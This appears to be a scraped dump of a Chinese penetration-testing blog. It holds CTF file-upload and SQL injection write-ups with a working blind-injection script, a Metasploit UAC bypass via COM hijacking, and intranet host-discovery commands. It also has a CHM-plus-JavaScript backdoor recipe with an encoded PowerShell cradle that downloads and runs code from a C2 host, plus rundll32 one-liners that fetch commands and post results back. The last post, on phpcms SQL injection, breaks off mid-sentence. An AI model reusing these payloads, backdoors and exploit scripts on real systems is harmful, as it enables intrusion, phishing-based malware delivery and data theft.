这道题我自己也是跟网上一样,拿.绕过的,但是在linux机器上就不行了 Pass-08123456$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 没过滤::$DATA,利用windows特性,绕过即可 Pass-0912345678910111213141516171819$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } $img_path = UPLOAD_PATH.'/'.$file_name; Pass-101234567891011$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } 漏洞语句: $file_name = str_ireplace($deny_ext,"", $file_name);双写绕过即可 Pass-111234567891011121314$ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],\".\")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path'].\"/\".rand(10, 99).date(\"YmdHis\").\".\".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = \"只允许上传.jpg|.png|.gif类型文件!\"; } 可以看到$img_path1$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; 利用%00截断让save_path直接等于filename,让filename可控,同时上传成php Pass-12和11关一样,只是save_path通过post传入修改成00即可 Pass-13任务变了2333 只要求传图片马,稳 1copy pic.jpg /b + phpinfo.php /a webshell.jpg 直接上传就行 隐藏了恶意代码 看一下代码:12345678910111213141516171819202122function getReailFileType($filename){ $file = fopen($filename, \"rb\"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack(\"C2chars\", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;} 只需要知道他的意思就是检查了文件头部,然后确定文件类型 Pass-14这关没什么好讲的,直接图片马就可以绕1234567891011121314function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }} 它主要就是调用了一个getimagesize()函数, Pass-15同样利用图片马就行123456789101112131415161718function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return \"gif\"; break; case IMAGETYPE_JPEG: return \"jpg\"; break; case IMAGETYPE_PNG: return \"png\"; break; default: return false; break; }} 利用exif_imagetype()检测图片类型 Pass-16https://xz.aliyun.com/t/2657写的超级详细了,可以存一份pdf Pass-17这道题是典型的条件竞争1234567891011121314151617181920if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,\".\")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date(\"YmdHis\").\".\".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = \"只允许上传.jpg|.png|.gif类型文件!\"; unlink($upload_file); } }else{ $msg = '上传出错!'; }} 可以看到代码判断是先进行上传文件,然后再进行判断后缀,这样就存在一个典型的条件竞争 Pass-18同样是条件竞争漏洞12345678910111213141516171819202122232425262728293031323334353637if (isset($_POST['submit'])){ require_once(\"./myupload.php\"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名。'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。'; break; case -2: $msg = '上传失败,上传目录不可写。'; break; case -3: $msg = '上传失败,无法上传该类型文件。'; break; case -4: $msg = '上传失败,上传的文件过大。'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件。'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录。'; break; default: $msg = '未知错误!'; break; }} Pass-191234567891011121314151617181920212223242526272829303132if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(\"php\",\"php5\",\"php4\",\"php3\",\"php2\",\"html\",\"htm\",\"phtml\",\"pht\",\"jsp\",\"jspa\",\"jspx\",\"jsw\",\"jsv\",\"jspf\",\"jtml\",\"asp\",\"aspx\",\"asa\",\"asax\",\"ascx\",\"ashx\",\"asmx\",\"cer\",\"swf\",\"htaccess\"); /* $file_name = trim($_POST['save_name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 */ $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 利用apache解析0x00来进行绕过或者利用move_uploaded_file 不解析末尾的\\.来绕过 Pass-2012345678910111213141516171819202122232425262728if(!empty($_FILES['upload_file'])){ //mime check $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = \"禁止上传该类型文件!\"; }else{ //check filename $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = \"禁止上传该后缀文件!\"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = \"文件上传成功!\"; $is_upload = true; } else { $msg = \"文件上传失败!\"; } } } 这道题也是ctf中常见的题型了,一共就两个点,一个是数组判断123if (!is_array($file)) { $file = explode('.', strtolower($file)); } 另外一个就是利用数组去绕过后缀检测同时保留文件名1$file_name = reset($file) . '.' . $file[count($file) - 1]; 比较简单,就不细说了只有一个注意点就是用\\去吃掉后面的.然后经过move_uploaded_file()除掉后面的.成功上传","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"文件上传","slug":"文件上传","permalink":"http://patrilic.top/tags/文件上传/"}]},{"title":"HCTF2018 Kzone Write-up","slug":"HCTF2018 Kzone Write-up","date":"2019-04-03T15:20:33.000Z","updated":"2019-08-20T15:29:51.728Z","comments":true,"path":"2019/04/03/HCTF2018 Kzone Write-up/","link":"","permalink":"http://patrilic.top/2019/04/03/HCTF2018 Kzone Write-up/","excerpt":"","text":"0x01 Analyse www.zip内容 123456789101112131415161718192021├── 2018.php├── Default account&password.txt├── Tutorial.txt├── admin│ ├── delete.php│ ├── index.php│ ├── list.php│ ├── login.php│ └── pass.php├── config.php├── include│ ├── common.php│ ├── db.class.php│ ├── function.php│ ├── kill.intercept.php│ ├── member.php│ ├── os.php│ └── safe.php├── index.php├── install.sql└── robots.txt 看2018.php里123456789101112131415161718<?phprequire_once './include/common.php';$realip = real_ip();$ipcount = $DB->count(\"SELECT count(*) from fish_user where ip='$realip'\");if ($ipcount < 3) { $username = addslashes($_POST['user']); $password = addslashes($_POST['pass']); $address = getCity($realip); $time = date(\"Y-m-d H:i:s\"); $ua = $_SERVER['HTTP_USER_AGENT']; $device = get_device($ua); $sql = \"INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')\"; $DB->query($sql); header(\"Location: https://i.qq.com/?rd=\" . $username);} else { header(\"Location: https://i.qq.com/?rd=\" . $username);}?> 大概是钓鱼网站常规套路了,就是把用户信息扔进数据库 一个一个点看,发现Common.php里把safe.php都包含了 然后来看safe.php12345678910111213141516171819202122232425262728<?phpfunction waf($string){ $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|#|s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string);}.....foreach ($_GET as $key => $value) { if (is_string($value) && !is_numeric($value)) { $value = safe($value); } $_GET[$key] = $value;}foreach ($_POST as $key => $value) { if (is_string($value) && !is_numeric($value)) { $value = safe($value); } $_POST[$key] = $value;}foreach ($_COOKIE as $key => $value) { if (is_string($value) && !is_numeric($value)) { $value = safe($value); } $_COOKIE[$key] = $value;}?> 直接用一个backlist,然后将Get/POST/Cookie三种传参方式全部过滤了一遍跟一下real_ip()123456789101112function real_ip(){ $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = $list[0]; } if (!ip2long($ip)) { $ip = ''; } return $ip;} 使用了ip2long来转换了ip格式,这样也没办法了.. 继续审计,找有SQL交互的地方 12345if (isset($_COOKIE[\"islogin\"])) { if ($_COOKIE[\"login_data\"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row(\"SELECT * FROM fish_admin WHERE username='$admin_user' limit 1\"); 这里可以看到利用了一个json_decode()函数,将$_COOKIE中的login_data带入到SQL语句中: SELECT * FROM fish_admin WHERE username='$admin_user' limit 1 这里就造成了,我们可以使用unicode进行绕过,因为json_decode是可以将unicode字符解码的 那么,就可以直接bypass进行注入了 0x02 Exploit我们只用unicode就可以绕过的话,就相当于没有过滤的注入了,可以选择使用sqlmap or 自己写脚本 tamper 123456789101112131415161718192021222324252627#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies(): passdef tamper(payload, **kwargs): data = '''{\"admin_user\":\"%s\"};''' payload = payload.lower() payload = payload.replace('o', '\\u006f') payload = payload.replace('u', '\\u0075') payload = payload.replace('i', '\\u0069') payload = payload.replace('\\'', '\\u0027') payload = payload.replace('\\\"', '\\u0022') payload = payload.replace(' ', '\\u0020') payload = payload.replace('s', '\\u0073') payload = payload.replace('#', '\\u0023') payload = payload.replace('>', '\\u003e') payload = payload.replace('<', '\\u003c') payload = payload.replace('-', '\\u002d') payload = payload.replace('=', '\\u003d') payload = payload.replace('f1a9', 'F1a9') payload = payload.replace('f1', 'F1') return data % payload python 123456789101112131415161718192021import requestsimport timeurl = \"http://45.32.75.237:10000/admin/login.php\"flag = ''dic = \"0123456789abcdefghijklmnopqrstuvwxyz{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+|,-./:;<=>?@\"for x in range(1,50): for i in dic: startTime = time.time() poc1 = \"'\\u006fr\\u0020su\\u0062str(passwo\\u0072d,{0},1)\\u003d'{1}'\\u0020and\\u0020sl\\u0065ep(6)\\u0023\".format(x,chr(i)) admin BE933CBA048A9727A2D2E9E08F5ED046 poc2 = \"'\\u006fr\\u0020su\\u0062str((select\\u0020binary\\u0020table_name\\u0020from\\u0020inf\\u006frmation_schema.tables\\u0020where\\u0020TABLE_SCHEMA\\u003ddatabase()\\u0020limit\\u00200,1),{0},1)\\u003d'{1}'\\u0020and\\u0020sl\\u0065ep(6)\\u0023\".format(x,i) #F1444g poc3 = \"'\\u006fr\\u0020su\\u0062str((select\\u0020binary\\u0020column_name\\u0020from\\u0020inf\\u006frmation_schema.columns\\u0020where\\u0020TABLE_SCHEMA\\u003ddatabase()\\u0020limit\\u00200,1),{0},1)\\u003d'{1}'\\u0020and\\u0020sl\\u0065ep(6)\\u0023\".format(x,i) #F1a9 poc4 = \"'\\u006fr\\u0020su\\u0062str((select\\u0020binary\\u0020F1a9\\u0020from\\u0020F1444g\\u0020limit\\u00200,1),{0},1)\\u003d'{1}'\\u0020and\\u0020sl\\u0065ep(6)\\u0023\".format(x,i) headers = {\"Cookie\":'islogin=1; login_data={\\\"admin_user\\\":\\\"'+poc4+'\\\"}'} r = requests.get(url,headers=headers) if time.time() - startTime > 5: flag += i print flag break","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://patrilic.top/tags/CTF/"}]},{"title":"bypassUAC_via_comhijacking","slug":"bypassUAC_via_comhijacking","date":"2019-04-03T05:12:49.000Z","updated":"2019-08-30T01:07:18.526Z","comments":true,"path":"2019/04/03/bypassUAC_via_comhijacking/","link":"","permalink":"http://patrilic.top/2019/04/03/bypassUAC_via_comhijacking/","excerpt":"","text":"@Author: Patrilic@Time: 2019-02-03 13:12:49 0x01 Com劫持原理利用CLSID搜索顺序: HKCU\\Software\\Classes\\CLSID HKCR\\CLSID HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Objects\\ 将被劫持的CLSID存入:HKCU\\Software\\Classes\\CLSID CLSID 结构1234HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value 0x02 uacbypass_comhijack分析判断系统版本 1234567def check if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled? # 从meterpreter中判断OS版本 Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end 劫持点:eventvwr.exe 和 mmc.exe12345678910111213@@hijack_points = [ { name: 'Event Viewer', cmd_path: '%WINDIR%\\System32\\eventvwr.exe', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] }, { name: 'Computer Managment', cmd_path: '%WINDIR%\\System32\\mmc.exe', cmd_args: 'CompMgmt.msc', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] } ] 123456789101112131415161718192021222324def hijack_com(registry_view, dll_path) target = @@hijack_points.sample target_clsid = target[:class_ids].sample root_key = \"#{CLSID_PATH}\\\\{#{target_clsid}}\" inproc_key = \"#{root_key}\\\\InProcServer32\" shell_key = \"#{root_key}\\\\ShellFolder\" registry_createkey(root_key, registry_view) registry_createkey(inproc_key, registry_view) registry_createkey(shell_key, registry_view) registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view) registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view) registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view) { name: target[:name], cmd_path: target[:cmd_path], cmd_args: target[:cmd_args], root_key: root_key } end 向注册表添加 HKCU\\Software\\Classes\\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InProcServer32HKCU\\Software\\Classes\\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\ShellFolder InProcServer 中: Default -> dll_path ThreadingModel -> Apartment LoadWithoutCOM -> Null ShellFolder 中: HideOnDesktop -> Null Attributes -> 0xf090013d 0x03 复现1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.131.36.131 lport=4444 -f exe > out.exe 回弹拿到meterpreter session 无法getsystem 可以看到,劫持了CLSID {0A29FF9E-7F9C-4437-8B11-F424491E3931}的会话,成功拿到反弹session","categories":[{"name":"BypassUac","slug":"BypassUac","permalink":"http://patrilic.top/categories/BypassUac/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/tags/内网渗透/"}]},{"title":"内网主机发现","slug":"内网主机发现","date":"2019-04-03T03:59:32.000Z","updated":"2019-08-20T15:30:46.173Z","comments":true,"path":"2019/04/03/内网主机发现/","link":"","permalink":"http://patrilic.top/2019/04/03/内网主机发现/","excerpt":"","text":"@Author: Patrilic@Time: 2019-02-03 11:59:32 0x01 发现内网存活主机1.1 基于ARP发现内网主机nmap1nmap -sn -PR 10.253.6.0/24 powershell1C:\\Users\\Patrilic\\Desktop>powershell -exec bypass -Command "Import-Module ./Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.121.1/24" Invoke-ARPScan 是Empire中的模块 arp-scan.exe1C:\\Users\\Patrilic\\Desktop>arp-scan.exe -t 192.168.121.0/24 arp-ping.exe1C:\\Users\\Patrilic\\Desktop>arp-ping.exe 192.168.121.1 Empirenetdiscover1netdiscover -r 192.168.3.0/24 -i eth0 meterpreter12meterpreter > getsystemmeterpreter > run post/windows/gather/arp_scanner RHOSTS=10.253.6.1/24 Cain等1.2 基于icmp发现主机cmd1C:\\Users\\Patrilic\\Desktop>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.121.%I | findstr \"TTL=\" nmap1nmap -sn -PE 192.168.3.0/24 powershell1powershell.exe -exec bypass -Command \"Import-Module C:\\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000\" bash1234567for ip in 10.131.36.{1..254} do ping $ip -c 1 &> /dev/null if [ $? -eq 0 ];then echo $ip is alive .... fi done 1.3 基于netbios协议发现主机cmd1nbtstat -n nbtscan1nbtscan-1.0.35.exe -m 192.168.121.0/24 nmap1nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4 1.4 基于smb协议发现主机nmap1nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p445 192.168.1.119/24 cmd1for /l %a in(1,1,254) do start /min /low telnet 192.168.1.%a 445 powershell12445|%{echo((new‐objectNet.Sockets.TcpClient).Connect(\"10.253.6\",$_)) \"$_ is open\"} 2>$null 11..5|%{$a=$_;445|%{echo((new‐object Net.Sockets.TcpClient).Connect(\"192.168.1.$a\",$_)) \"Port $_ is open\"} 2>$null} 1118..119|%{$a=$_;write‐host\"‐‐‐‐‐‐\";write‐host \"192.168.1.$a\"; 80,445 | % {echo ((new‐object Net.Sockets.TcpClient).Con ect(\"192.168.1.$a\",$_)) \"Port $_ is open\"} 2>$null} 1.5 基于snmp发现主机nmap1nmap -sU --script snmp-brute 192.168.1.0/24 -T4 perlhttps://github.com/dheiland-r7/snmp 1.6 基于udp发现主机nmap1nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500 unicornscan1unicornscan -mU 192.168.1.100 1.7 基于SqlDataSourceEnumerator1PowerShell -Command \"[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()\" 1.8 基于msf发现主机http服务1auxiliary/scanner/http/http_version 1auxiliary/scanner/http/title smb服务1auxiliary/scanner/smb/smb_version ftp服务1auxiliary/scanner/ftp/ftp_version 1auxiliary/scanner/ftp/anonymous arp服务1auxiliary/scanner/discovery/arp_sweep udp服务1auxiliary/scanner/discovery/udp_sweep 1auxiliary/scanner/discovery/udp_probe ssh服务1auxiliary/scanner/ssh/ssh_version telnet服务1auxiliary/scanner/telnet/telnet_version dns服务1auxiliary/scanner/dns/dns_amp mysql服务1auxiliary/scanner/mysql/mysql_version netbios服务1auxiliary/scanner/netbios/nbname db2服务1auxiliary/scanner/db2/db2_version 端口发现1auxiliary/scanner/portscan/ack 1auxiliary/scanner/portscan/tcp 1auxiliary/scanner/portscan/syn 1auxiliary/scanner/portscan/syn 1auxiliary/scanner/portscan/ftpbounce 1auxiliary/scanner/portscan/xmas rdp服务1auxiliary/scanner/rdp/rdp_scanner smtp服务1auxiliary/scanner/smtp/smtp_version pop3服务1auxiliary/scanner/pop3/pop3_version posgres服务1auxiliary/scanner/postgres/postgres_version 调用nmap1db_nmap post组件1234567891011windows/gather/arp_scanner windows/gather/enum_ad_computers windows/gather/enum_computers windows/gather/enum_domain windows/gather/enum_domains windows/gather/enum_ad_user_commentslinux/gather/enum_network linux/busybox/enum_hosts windows/gather/enum_ad_users windows/gather/enum_domain_tokens windows/gather/enum_snmp","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/tags/内网渗透/"}]},{"title":"JS+CHM捆绑后门","slug":"JS + CHM 捆绑后门","date":"2019-04-03T03:58:32.000Z","updated":"2019-08-20T15:28:32.631Z","comments":true,"path":"2019/04/03/JS + CHM 捆绑后门/","link":"","permalink":"http://patrilic.top/2019/04/03/JS + CHM 捆绑后门/","excerpt":"","text":"@Author: Patrilic@Time: 2019-02-03 11:58:32学了一波evi1cg博客上的捆绑后门,做个记录 0x01 思路 思路:利用CHM后门调用rundll32.exe执行javascript获取恶意代码并执行 结果:交互式shell or meterpreter(poershell) 0x02 chm后门calc.exe P0c123456789101112<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html> 利用EasyCHM编译html文件 运行: 0x03 JS后门核心思路:rundll32.exe 执行 javascript 脚本 访问C&C执行恶意代码 Poc:12rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert('foo'); 0x04 CHM + JS 捆绑思路:CHM后门 —-> 调用rundll32.exe —–> 调用javascript. —–> 访问目标C2服务器 ——>执行恶意代码 —–> 交互式shell 优点:防止传统CHM后门使用CMD /c 时引起的弹窗 缺点: 直接获取Meterpreter Session 使用Exploit : exploit/multi/script/web_delivery 存在特殊字符,在cmd下是不能直接运行的,使用Base64编码: Powershell :1powershell -ep bypass -enc PQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAzADoAOAAwADgAMQAvADEALwAnACkAOwAKAA== But: 并不能bypass 360主防允许程序执行后,可得到JSRAT Session 以及 meterpreter Session 主要还是检测了rundll32.exe 这个敏感进程 0x05 总结JS后门优点: 无文件落地 持续控制 后台rundll32.exe进程稳定 缺点:不免杀,容易被检测 CHM后门优点:钓鱼强不会被AV检测,只会在调用危险进程时被检测,本身不含有恶意代码 配合可以达到nishang中不弹窗的效果 0x06 JS backdoor Tips//Execute A Command1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc"); //Write To A File1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\\\\Temp\\\\testfile.txt",true);a.WriteLine("Test");a.Close();self.close; //Read and Execute From A File1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\\\\Temp\\\\testfile.txt",1);eval((f.ReadAll())); //Map A Remote Share (WEBDAV)1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","https://live.sysinternals.com");self.close; //Map A Local Share1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","\\\\\\\\Localhost\\\\c$");self.close; //Read and Execute Commands From A File1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\\\\Temp\\\\Commands.txt",1);while(!f.AtEndOfStream){t=new%20ActiveXObject("WScript.Shell");t.Run("cmd%20/c%20"%20+%20f.ReadLine(),null,true);}; //Retrieve Commands From HTTP1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/a.txt",false);h.Send();B=h.ResponseText;alert(B); //POST results back to Server1rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("POST","http://127.0.0.1:8081/a.php",false);h.Send("Stuff"); 0x07 Linkshttps://evi1cg.me/archives/chm_backdoor.htmlhttp://drops.wooyun.org/tips/8568https://github.com/Ridter/MyJSRathttp://drops.wooyun.org/tips/11764http://drops.wooyun.org/tips/12386","categories":[],"tags":[{"name":"Backdoor","slug":"Backdoor","permalink":"http://patrilic.top/tags/Backdoor/"}]},{"title":"phpcms_v9.6.0 wap模块 SQL注入","slug":"phpcms_v9.6.0 wap模块 sql注入","date":"2019-04-03T02:58:32.000Z","updated":"2019-08-20T15:29:28.741Z","comments":true,"path":"2019/04/03/phpcms_v9.6.0 wap模块 sql注入/","link":"","permalink":"http://patrilic.top/2019/04/03/phpcms_v9.6.0 wap模块 sql注入/","excerpt":"","text":"0x01 漏洞分析漏洞发生在 /Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/content/down.php 12345678910111213141516public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; $rs = $this->db->get_one(array('id'=>$id)); $_GET 方法传入 $a_k , 经过sys_auth 解密之后,进入 parse_str,解析到变量中最后带入到 \\$rs = \\$this->db->get_one(array(‘id’=>$id)); 进行查询 